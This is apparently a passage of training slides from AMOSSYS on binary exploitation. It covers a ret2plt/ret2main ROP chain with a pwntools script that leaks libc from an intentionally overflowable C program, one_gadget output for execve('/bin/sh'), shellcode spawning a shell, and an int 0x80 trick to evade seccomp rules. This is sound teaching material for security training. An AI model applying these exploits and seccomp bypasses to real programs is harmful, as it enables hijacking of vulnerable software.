PARTIE 3

Tricks

AMOSSYS

Tricks

ret2plt_ret2main

- In many pwn situations, it can be useful to call functions from the PLT
- Or even to re-call the main function to restart the program ”from scratch”
- You have seen different ways to redirect the execution flow of a program
  - Stack corruption
  - malloc/free_hook
  - Modifying PLT entries
- We will follow a small example showing the usefulness of reusing existing PLT functions and calling main again

Tricks

ret2plt_ret2main

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
    char buf[0x20];
    puts("You have an overflow which can
        handle 4 gadgets");
    puts("What can you do");
    read(0, buf, 0x48);
    return 0;
}

/* gcc ret2plt.c -o ret2plt -fno-PIE -no-pie */
```

```
$ checksec ret2plt
[*] '/.../ret2plt'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
```

What can we do?
Or what would we like to do but cannot yet?

Tricks

ret2plt_ret2main

```python
from pwn import *

pop_rdi = 0x40113a
ret = 0x40113b
main = 0x40113f
puts_at_plt = 0x401030
puts_at_got = 0x404000

io = process("./ret2plt_patched")

ropchain1 = b"a"*0x28
ropchain1 += p64(pop_rdi)
ropchain1 += p64(puts_at_got)
ropchain1 += p64(puts_at_plt)
ropchain1 += p64(main)

io.sendlineafter(b"can you do", ropchain1)

io.interactive()
```

```
 $ python ./solve.py
[+] Starting local process './ret2plt_patched'
: pid 8646
[*] Switching to interactive mode

Output:

\xa0\xc5<\x1cL\x7f
You have an overflow which can handle 4 gadgets
What can you do
```

Tricks

ret2plt_ret2main

- We obtained a libc leak
- We returned to main ⍰ this triggers the overflow again
- We can now perform a ret2libc

Tricks

one_gadget

- There are several ”one_gadgets” in libc that can sometimes save your life in pwn
- sudo apt install ruby
- gem install one_gadget
- one_gadget /xxxxx/libc.so.6

Tricks

one_gadget

```
 $ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xddf43 execve("/bin/sh", rbp-0x40, r13)
constraints:
  address rbp-0x38 is writable
  rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
  [r13] == NULL || r13 == NULL || r13 is a valid envp

0xfb062 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, [rsp+0xf0])
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
  [[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL || [rsp+0xf0] is a valid envp
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

0xfb06a posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, r13)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
  [r13] == NULL || r13 == NULL || r13 is a valid envp
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

0xfb06f posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r13)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
  [r13] == NULL || r13 == NULL || r13 is a valid envp
  rdx == NULL || (s32)[rdx+0x4] <= 0
```

Tricks

Shellcoding

```
.text
.globl _start
_start:
        mov $0x0068732f6e69622f, %r9
        push %r9
        mov %rsp, %rdi
        mov $0x3b, %rax
        mov $0, %rsi
        mov $0, %rdx
        syscall
```

```
as sc.S -o sc.o
ld sc.o -o sc
```

Tricks

Shellcoding

- You have probably heard about seccomp rules
- These are rules that prevent you from using certain system calls
- If I ask you to write a 64-bit program that performs exit(42)
- And I forbid you from using syscall 0x3c (exit)
- How can you do it ?

Tricks

Shellcoding

A context switch :
Even in a 64-bit program, it is possible to force the execution of a 32-bit syscall :

```
.text
.globl _start
_start:
        mov $42, %ebx
        mov $1, %eax
        int $0x80
```

```
as sh.S -o sh.o
ld sh.o -o sh
./sh
echo $?
42
file sh
sh: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
```